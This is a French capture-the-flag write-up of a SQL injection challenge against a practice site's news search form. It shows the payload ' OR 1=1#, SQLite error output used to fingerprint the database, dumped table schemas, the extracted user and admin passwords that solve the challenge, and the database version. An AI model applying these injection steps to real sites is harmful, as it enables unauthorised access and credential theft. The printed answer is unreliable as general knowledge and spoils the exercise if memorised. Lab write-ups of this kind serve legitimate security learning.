SQL injection String
| Samuel MANECHEZ | 21/10/2021 | SQL injection - String | Lien du CFT | 
|---|---|---|---|
1. Trouver le point d'injection
Après multiple essaies sur la page de login sans succés je test la page search.
2. Identifier le type de base de données
En essayant sur le page search et en entrant cette commande  ' OR 1=1# dans barre search on obtient : 
Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "#" in /challenge/web-serveur/ch19/index.php on line 150
unrecognized token: "#"
Sqlite3.
Ainsi que le point d'netrée certainement via le formualire de recherche.
3. Déterminer le nombre de colonnes de la requête de l'application
Afficher la structure de la table user, on comprend qu'il y a deux colonnes :
Warning: SQLite3::query(): Unable to prepare statement: 1, SELECTs to the left and right of UNION do not have the same number of result columns in /challenge/web-serveur/ch19/index.php on line 150
SELECTs to the left and right of UNION do not have the same number of result columns
4. Si nécessaire déterminer les types des colonnes
En cherchant le nombres de colonnes on finis par arriver sur le nombre de 2 colonnes :
1 (CREATE TABLE news(id INTEGER, title TEXT, description TEXT))
1 (CREATE TABLE users(username TEXT, password TEXT, Year INTEGER))
Bienvenu / Welcome (Bienvenu à tous / Welcome all !)
Correction faille / Vulnerability (Un petit malin a trouvé un trou dans notre nouveau site. Trou bouché ! / Vulnerability fix)
Publication du site / Site publication (Le site est désormais ouvert à toutes et à tous / Site is open)
Système de news / News system (La mise en place du système de news est désormais effective / News system activated.)
Système de recherche / Search Engine (Un système de recherche nous permet désormais de rechercher une news / News : search engine :))
5. Exploiter la faille en fonction de l'objectif de l'attaque
Trouver le mot de passe admin :
Bienvenu / Welcome (Bienvenu à tous / Welcome all !)
Correction faille / Vulnerability (Un petit malin a trouvé un trou dans notre nouveau site. Trou bouché ! / Vulnerability fix)
Publication du site / Site publication (Le site est désormais ouvert à toutes et à tous / Site is open)
Système de news / News system (La mise en place du système de news est désormais effective / News system activated.)
Système de recherche / Search Engine (Un système de recherche nous permet désormais de rechercher une news / News : search engine :))
admin (c4K04dtIaJsuWdi)
user1 (OK4dSoYE)
user2 (8Wbhkzmd)
On trouve le mot de passe admin : c4K04dtIaJsuWdi.
6. Trouver la version
Trouver la version du sqlite3 :
1 (3.31.1)
Bienvenu / Welcome (Bienvenu à tous / Welcome all !)
Correction faille / Vulnerability (Un petit malin a trouvé un trou dans notre nouveau site. Trou bouché ! / Vulnerability fix)
Publication du site / Site publication (Le site est désormais ouvert à toutes et à tous / Site is open)
Système de news / News system (La mise en place du système de news est désormais effective / News system activated.)
Système de recherche / Search Engine (Un système de recherche nous permet désormais de rechercher une news / News : search engine :))